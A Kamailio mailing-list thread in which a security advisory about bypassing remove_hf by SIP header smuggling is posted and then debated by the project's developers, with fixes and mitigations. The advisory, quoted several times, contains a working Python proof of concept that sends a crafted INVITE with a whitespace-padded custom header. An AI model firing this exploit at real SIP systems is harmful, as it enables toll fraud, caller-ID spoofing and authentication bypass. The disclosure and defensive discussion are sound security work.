1 Sep
2020
1 Sep
'20
2:44 p.m.
Dear Kamailio Users,
posting our security advisory here just in case anyone who was affected has not upgraded
or mitigated the header smuggling issue.
Advisory follows:
# Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
- Fixed versions: Kamailio v5.4.0
- Enable Security Advisory:
<https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf>
- Tested vulnerable versions: 5.3.5 and earlier
- Timeline:
- Report date & issue patched by Kamailio: 2020-07-16
- Kamailio rewrite for header parser (better fix): 2020-07-16 to 2020-07-23
- Kamailio release with fix: 2020-07-29
- Enable Security advisory: 2020-09-01
## Description
Kamailio is often configured to remove certain special internal SIP headers from untrusted
traffic to protect against header injection attacks by making use of the `remove_hf`
function from the Kamailio `textops` module. These SIP headers were typically set through
Kamailio which are then used downstream, e.g. by a media service based on Asterisk, to
affect internal business logic decisions. During our tests and research, we noticed that
the removal of these headers can be bypassed by injecting whitespace characters at the end
of the header name.
Note that this issue only affected header names that are __not__ defined in
`src/core/parser/hf.h`.
Further discussion and details of this vulnerability can be found at the Communication
Breakdown blog: https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/.
## Impact
The impact of this security bypass greatly depends on how these headers are used and
processed by the affected logic. In a worst case scenarios, this vulnerability could allow
toll fraud, caller-ID spoofing and authentication bypass.
## How to reproduce the issue
We prepared a docker-compose environment to demonstrate a vulnerable setup which can be
found at
<https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf/repro>.
The following python code could then be used to reproduce the issue:
```python
#!/usr/bin/env python3
sipmsg = "INVITE sip:headerbypass@localhost SIP/2.0\r\n"
sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n"
sipmsg += "Max-Forwards: 70\r\n"
sipmsg += "From: <sip:anon@localhost>;tag=%s\r\n"
sipmsg += "To: sip:whatever@whatever.local\r\n"
sipmsg += "Call-ID: %s\r\n"
sipmsg += "CSeq: 1 INVITE\r\n"
sipmsg += "Contact: <sip:1000@127.0.0.1:48017;transport=udp>\r\n"
sipmsg += "X-Bypass-me : lol\r\n"
sipmsg += "Content-Length: 237\r\n"
sipmsg += "Content-Type: application/sdp\r\n"
sipmsg += "\r\n"
sipmsg += "v=0\r\n"
sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n"
sipmsg += "s=-\r\n"
sipmsg += "c=IN IP4 127.0.0.1\r\n"
sipmsg += "t=0 0\r\n"
sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n"
sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n"
sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n"
sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n"
sipmsg += "a=rtpmap:96 opus/8000/2\r\n"
sipmsg += "a=sendrecv\r\n"
target = ("127.0.0.1",5060)
import socket
import time
from random import randint
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.bind(("0.0.0.0",5088))
r = randint(1000,9999)
data = sipmsg % (r,r,r)
s.sendto(data.encode("utf-8"), target)
while True:
data,addr=s.recvfrom(4096)
print(data.decode("utf-8"))
time.sleep(5)
```
In the case of a vulnerable version of Kamailio, Asterisk would respond with a 200 OK
while in a fixed version, Asterisk would respond with a 603 Decline response. This is
specific to the
[dialplan](https://github.com/EnableSecurity/advisories/blob/master/ES2020-0…
in our example, which jumps to an internal dialplan if the `X-bypass-me` header is found.
## Solutions and recommendations
The official Kamailio fix has been tested and found to sufficiently address this security
flaw. We recommend making use of the latest release or backporting the fixes where
possible. Making use of regular expressions to cover white-space characters with
`remove_hf_re` has been suggested as mitigation for this issue for cases where the code
cannot be upgraded.
Enable Security would like to thank Daniel-Constantin Mierla of the Kamailio Project for
the very quick response and fix within minutes of our report being made available to him,
as well as Torrey Searle for reporting this issue quickly to the Kamailio team.
## About Enable Security
[Enable Security](https://www.enablesecurity.com) develops offensive security tools and
provides quality penetration testing to help protect your real-time communications systems
against attack.
## Disclaimer
The information in the advisory is believed to be accurate at the time of publishing based
on currently available information. Use of the information constitutes acceptance for use
in an AS IS condition. There are no warranties with regard to this information. Neither
the author nor the publisher accepts any liability for any direct, indirect, or
consequential loss or damage arising from use of, or reliance on, this information.
## Disclosure policy
This report is subject to Enable Security's vulnerability disclosure policy which can
be found at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.
1 Sep
1 Sep
5:45 p.m.
Hello,
thanks Sandro for directing a lot of time and effort for stress testing
and fuzzing Kamailio, it really helps to increase the security and
stability of the application.
In a very short summary version, the issue was caused by a bug in
extracting the name of non-common standard headers (like X-My-Hdr), not
stripping the white spaces between the name and the following : (colon).
The common standard headers (like From, To, Authorization,
P-Asserted-Identity, ...) use a different header name parsing and there
is no impact in them.
The only security risk in my opinion is when some bad actor learns about
the custom header names (and their body format/content) you use to pass
data between Kamailio and other SIP systems in your core platform, then
trying to preset such headers in the SIP traffic. Of course, security is
affected only if you pass security sensitive data in such custom
headers. The default kamailio.cfg is not using any custom headers, thus
no impact on it.
The config fix for it (without any code upgrade) is replacing:
remove_hf("X-My-Hdr");
with:
remove_hf_re("X-My-Hdr");
As a funny fact, I tracked the faulty code back to at least release SER
v0.8.11, out 18 years ago, so it is a very long living bug.
Cheers,
Daniel
On 01.09.20 14:44, Sandro Gauci wrote:
Dear Kamailio Users,
posting our security advisory here just in case anyone who was affected has not upgraded
or mitigated the header smuggling issue.
Advisory follows:
# Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
- Fixed versions: Kamailio v5.4.0
- Enable Security Advisory:
<https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf>
- Tested vulnerable versions: 5.3.5 and earlier
- Timeline:
- Report date & issue patched by Kamailio: 2020-07-16
- Kamailio rewrite for header parser (better fix): 2020-07-16 to 2020-07-23
- Kamailio release with fix: 2020-07-29
- Enable Security advisory: 2020-09-01
## Description
Kamailio is often configured to remove certain special internal SIP headers from
untrusted traffic to protect against header injection attacks by making use of the
`remove_hf` function from the Kamailio `textops` module. These SIP headers were typically
set through Kamailio which are then used downstream, e.g. by a media service based on
Asterisk, to affect internal business logic decisions. During our tests and research, we
noticed that the removal of these headers can be bypassed by injecting whitespace
characters at the end of the header name.
Note that this issue only affected header names that are __not__ defined in
`src/core/parser/hf.h`.
Further discussion and details of this vulnerability can be found at the Communication
Breakdown blog: https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/.
## Impact
The impact of this security bypass greatly depends on how these headers are used and
processed by the affected logic. In a worst case scenarios, this vulnerability could allow
toll fraud, caller-ID spoofing and authentication bypass.
## How to reproduce the issue
We prepared a docker-compose environment to demonstrate a vulnerable setup which can be
found at
<https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf/repro>.
The following python code could then be used to reproduce the issue:
```python
#!/usr/bin/env python3
sipmsg = "INVITE sip:headerbypass@localhost SIP/2.0\r\n"
sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n"
sipmsg += "Max-Forwards: 70\r\n"
sipmsg += "From: <sip:anon@localhost>;tag=%s\r\n"
sipmsg += "To: sip:whatever@whatever.local\r\n"
sipmsg += "Call-ID: %s\r\n"
sipmsg += "CSeq: 1 INVITE\r\n"
sipmsg += "Contact: <sip:1000@127.0.0.1:48017;transport=udp>\r\n"
sipmsg += "X-Bypass-me : lol\r\n"
sipmsg += "Content-Length: 237\r\n"
sipmsg += "Content-Type: application/sdp\r\n"
sipmsg += "\r\n"
sipmsg += "v=0\r\n"
sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n"
sipmsg += "s=-\r\n"
sipmsg += "c=IN IP4 127.0.0.1\r\n"
sipmsg += "t=0 0\r\n"
sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n"
sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n"
sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n"
sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n"
sipmsg += "a=rtpmap:96 opus/8000/2\r\n"
sipmsg += "a=sendrecv\r\n"
target = ("127.0.0.1",5060)
import socket
import time
from random import randint
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.bind(("0.0.0.0",5088))
r = randint(1000,9999)
data = sipmsg % (r,r,r)
s.sendto(data.encode("utf-8"), target)
while True:
data,addr=s.recvfrom(4096)
print(data.decode("utf-8"))
time.sleep(5)
```
In the case of a vulnerable version of Kamailio, Asterisk would respond with a 200 OK
while in a fixed version, Asterisk would respond with a 603 Decline response. This is
specific to the
[dialplan](https://github.com/EnableSecurity/advisories/blob/master/ES2020-0…
in our example, which jumps to an internal dialplan if the `X-bypass-me` header is found.
## Solutions and recommendations
The official Kamailio fix has been tested and found to sufficiently address this security
flaw. We recommend making use of the latest release or backporting the fixes where
possible. Making use of regular expressions to cover white-space characters with
`remove_hf_re` has been suggested as mitigation for this issue for cases where the code
cannot be upgraded.
Enable Security would like to thank Daniel-Constantin Mierla of the Kamailio Project for
the very quick response and fix within minutes of our report being made available to him,
as well as Torrey Searle for reporting this issue quickly to the Kamailio team.
## About Enable Security
[Enable Security](https://www.enablesecurity.com) develops offensive security tools and
provides quality penetration testing to help protect your real-time communications systems
against attack.
## Disclaimer
The information in the advisory is believed to be accurate at the time of publishing
based on currently available information. Use of the information constitutes acceptance
for use in an AS IS condition. There are no warranties with regard to this information.
Neither the author nor the publisher accepts any liability for any direct, indirect, or
consequential loss or damage arising from use of, or reliance on, this information.
## Disclosure policy
This report is subject to Enable Security's vulnerability disclosure policy which can
be found at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
--
Daniel-Constantin Mierla -- www.asipto.com
www.twitter.com/miconda -- www.linkedin.com/in/miconda
Funding: https://www.paypal.me/dcmierla
2 Sep
2 Sep
6:43 a.m.
Thanks Daniel for patching up the bug, however I think you are downplaying
severity of the problem at hand. You see, from the point of view of outside
world, kamailio is not just engine and default config. All APIs that are
provided are also part of the product, especially those "core" ones. As
such, security issue with any such API is affecting the whole product.
People using Kamailio expect those APIs do what documentation says they do,
no more no less!
What you are saying is basically any Kamailio installation any version
under the sun except maybe dozen using default config is affected and has
to be updated. My question therefore is "what Kamailio is going to do about
it"? At the very least I'd expect fix to be merged into all actively
maintained branches and official security advisory issued and distributed
to all possible channels listing revisions and recommending upgrading ASAP.
-Max
On Tue., Sep. 1, 2020, 8:46 a.m. Daniel-Constantin Mierla, <
miconda(a)gmail.com> wrote:
Hello,
thanks Sandro for directing a lot of time and effort for stress testing
and fuzzing Kamailio, it really helps to increase the security and
stability of the application.
In a very short summary version, the issue was caused by a bug in
extracting the name of non-common standard headers (like X-My-Hdr), not
stripping the white spaces between the name and the following : (colon).
The common standard headers (like From, To, Authorization,
P-Asserted-Identity, ...) use a different header name parsing and there
is no impact in them.
The only security risk in my opinion is when some bad actor learns about
the custom header names (and their body format/content) you use to pass
data between Kamailio and other SIP systems in your core platform, then
trying to preset such headers in the SIP traffic. Of course, security is
affected only if you pass security sensitive data in such custom
headers. The default kamailio.cfg is not using any custom headers, thus
no impact on it.
The config fix for it (without any code upgrade) is replacing:
remove_hf("X-My-Hdr");
with:
remove_hf_re("X-My-Hdr");
As a funny fact, I tracked the faulty code back to at least release SER
v0.8.11, out 18 years ago, so it is a very long living bug.
Cheers,
Daniel
On 01.09.20 14:44, Sandro Gauci wrote:
Dear Kamailio Users,
posting our security advisory here just in case anyone who was affected
has not
upgraded or mitigated the header smuggling issue.
Advisory follows:
# Kamailio vulnerable to header smuggling possible due to bypass of
remove_hf
- Fixed versions: Kamailio v5.4.0
- Enable Security Advisory: <
https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio…
- Tested vulnerable versions: 5.3.5 and earlier
- Timeline:
- Report date & issue patched by Kamailio: 2020-07-16
- Kamailio rewrite for header parser (better fix): 2020-07-16 to
2020-07-23
- Kamailio release with fix: 2020-07-29
- Enable Security advisory: 2020-09-01
## Description
Kamailio is often configured to remove certain special internal SIP
headers from
untrusted traffic to protect against header injection attacks
by making use of the `remove_hf` function from the Kamailio `textops`
module. These SIP headers were typically set through Kamailio which are
then used downstream, e.g. by a media service based on Asterisk, to affect
internal business logic decisions. During our tests and research, we
noticed that the removal of these headers can be bypassed by injecting
whitespace characters at the end of the header name.
Note that this issue only affected header names that are __not__ defined
in
`src/core/parser/hf.h`.
Further discussion and details of this vulnerability can be found at the
Communication Breakdown blog:
https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/.
## Impact
The impact of this security bypass greatly depends on how these headers
are used
and processed by the affected logic. In a worst case scenarios,
this vulnerability could allow toll fraud, caller-ID spoofing and
authentication bypass.
## How to reproduce the issue
We prepared a docker-compose environment to demonstrate a vulnerable
setup which
can be found at <
https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio…gt;.
The following python code could then be used to reproduce the issue:
```python
#!/usr/bin/env python3
sipmsg = "INVITE sip:headerbypass@localhost SIP/2.0\r\n"
sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n"
sipmsg += "Max-Forwards: 70\r\n"
sipmsg += "From: <sip:anon@localhost>;tag=%s\r\n"
sipmsg += "To: sip:whatever@whatever.local\r\n"
sipmsg += "Call-ID: %s\r\n"
sipmsg += "CSeq: 1 INVITE\r\n"
sipmsg += "Contact: <sip:1000@127.0.0.1:48017;transport=udp>\r\n"
sipmsg += "X-Bypass-me : lol\r\n"
sipmsg += "Content-Length: 237\r\n"
sipmsg += "Content-Type: application/sdp\r\n"
sipmsg += "\r\n"
sipmsg += "v=0\r\n"
sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n"
sipmsg += "s=-\r\n"
sipmsg += "c=IN IP4 127.0.0.1\r\n"
sipmsg += "t=0 0\r\n"
sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n"
sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n"
sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n"
sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n"
sipmsg += "a=rtpmap:96 opus/8000/2\r\n"
sipmsg += "a=sendrecv\r\n"
target = ("127.0.0.1",5060)
import socket
import time
from random import randint
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.bind(("0.0.0.0",5088))
r = randint(1000,9999)
data = sipmsg % (r,r,r)
s.sendto(data.encode("utf-8"), target)
while True:
data,addr=s.recvfrom(4096)
print(data.decode("utf-8"))
time.sleep(5)
```
In the case of a vulnerable version of Kamailio, Asterisk would respond
with a 200
OK while in a fixed version, Asterisk would respond with a 603
Decline response. This is specific to the [dialplan](
https://github.com/EnableSecurity/advisories/blob/master/ES2020-01-kamailio…)
in our example, which jumps to an internal dialplan if the `X-bypass-me`
header is found.
## Solutions and recommendations
The official Kamailio fix has been tested and found to sufficiently
address this
security flaw. We recommend making use of the latest release
or backporting the fixes where possible. Making use of regular expressions
to cover white-space characters with `remove_hf_re` has been suggested as
mitigation for this issue for cases where the code cannot be upgraded.
Enable Security would like to thank Daniel-Constantin Mierla of the
Kamailio
Project for the very quick response and fix within minutes of our
report being made available to him, as well as Torrey Searle for reporting
this issue quickly to the Kamailio team.
## About Enable Security
[Enable Security](https://www.enablesecurity.com) develops offensive
security
tools and provides quality penetration testing to help protect
your real-time communications systems against attack.
## Disclaimer
The information in the advisory is believed to be accurate at the time
of
publishing based on currently available information. Use of the
information constitutes acceptance for use in an AS IS condition. There are
no warranties with regard to this information. Neither the author nor the
publisher accepts any liability for any direct, indirect, or consequential
loss or damage arising from use of, or reliance on, this information.
## Disclosure policy
This report is subject to Enable Security's vulnerability disclosure
policy
which can be found at <
https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>gt;.
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
--
Daniel-Constantin Mierla -- www.asipto.com
www.twitter.com/miconda -- www.linkedin.com/in/miconda
Funding: https://www.paypal.me/dcmierla
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users(a)lists.kamailio.org
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
8:14 a.m.
Hello Maxim,
we did the more extensive process in the past with issues that could lead to a crash. You
find the announcements in the archives and on the webpage in 2018, let me know if you like
a pointer to that. I don’t want to downplay it, but this particular bug is in my opinion
less serious than the mentioned ones. As Daniel mentioned, it has been in the code since
18 years without anybody noticing it (and exploiting it openly).
This issue was already fixed in the respective stable branches, also on July 16th. There
has been no official release yet for these branches, but there will be probably one done
after online KamailioWorld. I will ask Sandro to update the advisory when they have been
done.
Regarding your comments about the API behaviour of Kamailio and people expectations,
surely, we are aiming towards this. But as you have been in software business a long time
by yourself, you surely know that all software can have bugs. Kamailio being an open
source project, more helping hands are of course always welcome. There is also always the
option to get commercial support in case one is using a really old release etc..
Cheers,
Henning
--
Henning Westerholt – https://skalatan.de/blog/
Kamailio services – https://gilawa.com<https://gilawa.com/>
From: sr-users <sr-users-bounces(a)lists.kamailio.org> On Behalf Of Maxim Sobolev
Sent: Wednesday, September 2, 2020 6:43 AM
To: Daniel-Constantin Mierla <miconda(a)gmail.com>om>; Kamailio (SER) - Users Mailing
List <sr-users(a)lists.kamailio.org>
Subject: Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of
remove_hf
Thanks Daniel for patching up the bug, however I think you are downplaying severity of the
problem at hand. You see, from the point of view of outside world, kamailio is not just
engine and default config. All APIs that are provided are also part of the product,
especially those "core" ones. As such, security issue with any such API is
affecting the whole product. People using Kamailio expect those APIs do what documentation
says they do, no more no less!
What you are saying is basically any Kamailio installation any version under the sun
except maybe dozen using default config is affected and has to be updated. My question
therefore is "what Kamailio is going to do about it"? At the very least I'd
expect fix to be merged into all actively maintained branches and official security
advisory issued and distributed to all possible channels listing revisions and
recommending upgrading ASAP.
-Max
On Tue., Sep. 1, 2020, 8:46 a.m. Daniel-Constantin Mierla,
<miconda@gmail.com<mailto:miconda@gmail.com>> wrote:
Hello,
thanks Sandro for directing a lot of time and effort for stress testing
and fuzzing Kamailio, it really helps to increase the security and
stability of the application.
In a very short summary version, the issue was caused by a bug in
extracting the name of non-common standard headers (like X-My-Hdr), not
stripping the white spaces between the name and the following : (colon).
The common standard headers (like From, To, Authorization,
P-Asserted-Identity, ...) use a different header name parsing and there
is no impact in them.
The only security risk in my opinion is when some bad actor learns about
the custom header names (and their body format/content) you use to pass
data between Kamailio and other SIP systems in your core platform, then
trying to preset such headers in the SIP traffic. Of course, security is
affected only if you pass security sensitive data in such custom
headers. The default kamailio.cfg is not using any custom headers, thus
no impact on it.
The config fix for it (without any code upgrade) is replacing:
remove_hf("X-My-Hdr");
with:
remove_hf_re("X-My-Hdr");
As a funny fact, I tracked the faulty code back to at least release SER
v0.8.11, out 18 years ago, so it is a very long living bug.
Cheers,
Daniel
On 01.09.20 14:44, Sandro Gauci wrote:
Dear Kamailio Users,
posting our security advisory here just in case anyone who was affected has not upgraded
or mitigated the header smuggling issue.
Advisory follows:
# Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
- Fixed versions: Kamailio v5.4.0
- Enable Security Advisory:
<https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf>
- Tested vulnerable versions: 5.3.5 and earlier
- Timeline:
- Report date & issue patched by Kamailio: 2020-07-16
- Kamailio rewrite for header parser (better fix): 2020-07-16 to 2020-07-23
- Kamailio release with fix: 2020-07-29
- Enable Security advisory: 2020-09-01
## Description
Kamailio is often configured to remove certain special internal SIP headers from
untrusted traffic to protect against header injection attacks by making use of the
`remove_hf` function from the Kamailio `textops` module. These SIP headers were typically
set through Kamailio which are then used downstream, e.g. by a media service based on
Asterisk, to affect internal business logic decisions. During our tests and research, we
noticed that the removal of these headers can be bypassed by injecting whitespace
characters at the end of the header name.
Note that this issue only affected header names that are __not__ defined in
`src/core/parser/hf.h`.
Further discussion and details of this vulnerability can be found at the Communication
Breakdown blog: https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/.
## Impact
The impact of this security bypass greatly depends on how these headers are used and
processed by the affected logic. In a worst case scenarios, this vulnerability could allow
toll fraud, caller-ID spoofing and authentication bypass.
## How to reproduce the issue
We prepared a docker-compose environment to demonstrate a vulnerable setup which can be
found at
<https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf/repro>.
The following python code could then be used to reproduce the issue:
```python
#!/usr/bin/env python3
sipmsg = "INVITE sip:headerbypass@localhost SIP/2.0\r\n"
sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n"
sipmsg += "Max-Forwards: 70\r\n"
sipmsg += "From: <sip:anon@localhost>;tag=%s\r\n"
sipmsg += "To: sip:whatever@whatever.local\r\n"
sipmsg += "Call-ID: %s\r\n"
sipmsg += "CSeq: 1 INVITE\r\n"
sipmsg += "Contact:
<sip:1000@127.0.0.1:48017<http://sip:1000@127.0.0.1:48017>;transport=udp>\r\n"
sipmsg += "X-Bypass-me : lol\r\n"
sipmsg += "Content-Length: 237\r\n"
sipmsg += "Content-Type: application/sdp\r\n"
sipmsg += "\r\n"
sipmsg += "v=0\r\n"
sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n"
sipmsg += "s=-\r\n"
sipmsg += "c=IN IP4 127.0.0.1\r\n"
sipmsg += "t=0 0\r\n"
sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n"
sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n"
sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n"
sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n"
sipmsg += "a=rtpmap:96 opus/8000/2\r\n"
sipmsg += "a=sendrecv\r\n"
target = ("127.0.0.1",5060)
import socket
import time
from random import randint
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.bind(("0.0.0.0",5088))
r = randint(1000,9999)
data = sipmsg % (r,r,r)
s.sendto(data.encode("utf-8"), target)
while True:
data,addr=s.recvfrom(4096)
print(data.decode("utf-8"))
time.sleep(5)
```
In the case of a vulnerable version of Kamailio, Asterisk would respond with a 200 OK
while in a fixed version, Asterisk would respond with a 603 Decline response. This is
specific to the
[dialplan](https://github.com/EnableSecurity/advisories/blob/master/ES2020-0…
in our example, which jumps to an internal dialplan if the `X-bypass-me` header is
found.
## Solutions and recommendations
The official Kamailio fix has been tested and found to sufficiently address this security
flaw. We recommend making use of the latest release or backporting the fixes where
possible. Making use of regular expressions to cover white-space characters with
`remove_hf_re` has been suggested as mitigation for this issue for cases where the code
cannot be upgraded.
Enable Security would like to thank Daniel-Constantin Mierla of the Kamailio Project for
the very quick response and fix within minutes of our report being made available to him,
as well as Torrey Searle for reporting this issue quickly to the Kamailio team.
## About Enable Security
[Enable Security](https://www.enablesecurity.com) develops offensive security tools and
provides quality penetration testing to help protect your real-time communications systems
against attack.
## Disclaimer
The information in the advisory is believed to be accurate at the time of publishing
based on currently available information. Use of the information constitutes acceptance
for use in an AS IS condition. There are no warranties with regard to this information.
Neither the author nor the publisher accepts any liability for any direct, indirect, or
consequential loss or damage arising from use of, or reliance on, this information.
## Disclosure policy
This report is subject to Enable Security's vulnerability disclosure policy which can
be found at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users@lists.kamailio.org<mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
--
Daniel-Constantin Mierla -- www.asipto.com<http://www.asipto.com>
www.twitter.com/miconda<http://www.twitter.com/miconda> --
www.linkedin.com/in/miconda<http://www.linkedin.com/in/miconda>
Funding: https://www.paypal.me/dcmierla
_______________________________________________
Kamailio (SER) - Users Mailing List
sr-users@lists.kamailio.org<mailto:sr-users@lists.kamailio.org>
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users
9:31 a.m.
Hello Maxim,
can you explain why I am downplaying the severity by my remarks? I
presented where the bug is impacting, because the initial announcement
sent by Sandro in different channels (not here, but other security
related mailing lists) contained inaccurate information, respectively an
example with P-Asserted-Identity, which was actually not affected by the
bug. So I wanted to be clear is it only about the common header names.
Maybe you haven't understood the issue or what I said, that it may
affect security of the platforms where custom header names are used to
pass sensitive data between Kamailio and other SIP systems (but not
Kamailio, since Kamailio-to-Kamailio will use same custom header name
matching). None of my deployments were affected. The remark for default
config file is that many deployments revolve around it and it does not
use with custom header names, implying also it was not discovered by
analyzing the public project, but configs specific to a private deployment.
And no worries, the issue was public from the day one, by mid of July,
being discussed on our community Matrix channel (public one) when Torrey
reported it based on Sandro's work and it was fixed within minutes to
all maintained branches. The group of most active developers was
informed, none reacted as being anything highly critical. Many other
bugs were fixed meanwhile, but no security researcher spent time on them
to see if there is any risk exposed. During the past years the Kamailio
ecosystem had extensive collaboration with Sandro/EnableSecurity and
Henning/Gilawa for security assessments and fuzzing, several reports
being out based on their work. I am somehow pretty sure no other VoIP
project did same level of security research during the same time interval.
Sending the announcement on this mailing list was also discussed
yesterday on Matrix channel and I said that sr-users is the appropriate
place to do it. Since Sandro (and his team) did the hard work on finding
issues in Kamailio, was his privilege to send the announcement. As
mentioned in the first paragraph, Sandro also notified on many
security-related lists, but I was not asked to review the initial
announcement sent to other lists, it was done without being notified.
I've seen it first time on VoIPSec list, thus I discussed with Sandro
about amending it to be make it clear the common headers are not affected.
Now, if you are here because you use Kamailio and have good interest in
this application, then you are also part of Kamailio project, it is a
community working together for mutual benefits. In other words, Kamailio
project is not going to do anything special for you, but you can step
forward and propose what should be done and if found useful for the
community, start doing it.
If you are here just to demand others do work for you for free, then you
are in the wrong place.
Cheers,
Daniel
On 02.09.20 06:43, Maxim Sobolev wrote:
Thanks Daniel for patching up the bug, however I think
you are
downplaying severity of the problem at hand. You see, from the point
of view of outside world, kamailio is not just engine and default
config. All APIs that are provided are also part of the product,
especially those "core" ones. As such, security issue with any such
API is affecting the whole product. People using Kamailio expect those
APIs do what documentation says they do, no more no less!
What you are saying is basically any Kamailio installation any version
under the sun except maybe dozen using default config is affected and
has to be updated. My question therefore is "what Kamailio is going to
do about it"? At the very least I'd expect fix to be merged into all
actively maintained branches and official security advisory issued and
distributed to all possible channels listing revisions and
recommending upgrading ASAP.
-Max
On Tue., Sep. 1, 2020, 8:46 a.m. Daniel-Constantin Mierla,
<miconda(a)gmail.com <mailto:miconda@gmail.com>> wrote:
Hello,
thanks Sandro for directing a lot of time and effort for stress
testing
and fuzzing Kamailio, it really helps to increase the security and
stability of the application.
In a very short summary version, the issue was caused by a bug in
extracting the name of non-common standard headers (like
X-My-Hdr), not
stripping the white spaces between the name and the following :
(colon).
The common standard headers (like From, To, Authorization,
P-Asserted-Identity, ...) use a different header name parsing and
there
is no impact in them.
The only security risk in my opinion is when some bad actor learns
about
the custom header names (and their body format/content) you use to
pass
data between Kamailio and other SIP systems in your core platform,
then
trying to preset such headers in the SIP traffic. Of course,
security is
affected only if you pass security sensitive data in such custom
headers. The default kamailio.cfg is not using any custom headers,
thus
no impact on it.
The config fix for it (without any code upgrade) is replacing:
remove_hf("X-My-Hdr");
with:
remove_hf_re("X-My-Hdr");
As a funny fact, I tracked the faulty code back to at least
release SER
v0.8.11, out 18 years ago, so it is a very long living bug.
Cheers,
Daniel
On 01.09.20 14:44, Sandro Gauci wrote:
--
Daniel-Constantin Mierla -- www.asipto.com
www.twitter.com/miconda -- www.linkedin.com/in/miconda
Funding: https://www.paypal.me/dcmierla
Dear Kamailio Users,
posting our security advisory here just in case anyone who was
affected has
not upgraded or mitigated the header smuggling issue.
Advisory follows:
# Kamailio vulnerable to header smuggling possible due to bypass
of remove_hf
- Fixed versions: Kamailio v5.4.0
- Enable Security Advisory:
<https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf>
- Tested vulnerable versions: 5.3.5 and earlier
- Timeline:
- Report date & issue patched by Kamailio: 2020-07-16
- Kamailio rewrite for header parser (better fix):
2020-07-16 to
2020-07-23
- Kamailio release with fix: 2020-07-29
- Enable Security advisory: 2020-09-01
## Description
Kamailio is often configured to remove certain special internal
SIP headers
from untrusted traffic to protect against header
injection attacks by making use of the `remove_hf` function from
the Kamailio `textops` module. These SIP headers were typically
set through Kamailio which are then used downstream, e.g. by a
media service based on Asterisk, to affect internal business logic
decisions. During our tests and research, we noticed that the
removal of these headers can be bypassed by injecting whitespace
characters at the end of the header name.
Note that this issue only affected header names that are __not__
defined in
`src/core/parser/hf.h`.
Further discussion and details of this vulnerability can be
found at the
Communication Breakdown blog:
https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/.
## Impact
The impact of this security bypass greatly depends on how these
headers are
used and processed by the affected logic. In a worst
case scenarios, this vulnerability could allow toll fraud,
caller-ID spoofing and authentication bypass.
## How to reproduce the issue
We prepared a docker-compose environment to demonstrate a
vulnerable setup
which can be found at
<https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf/repro>.
The following python code could then be used to reproduce the issue:
```python
#!/usr/bin/env python3
sipmsg = "INVITE sip:headerbypass@localhost SIP/2.0\r\n"
sipmsg += "Via: SIP/2.0/UDP
127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n"
sipmsg += "Max-Forwards: 70\r\n"
sipmsg += "From: <sip:anon@localhost>;tag=%s\r\n"
sipmsg += "To: sip:whatever@whatever.local\r\n"
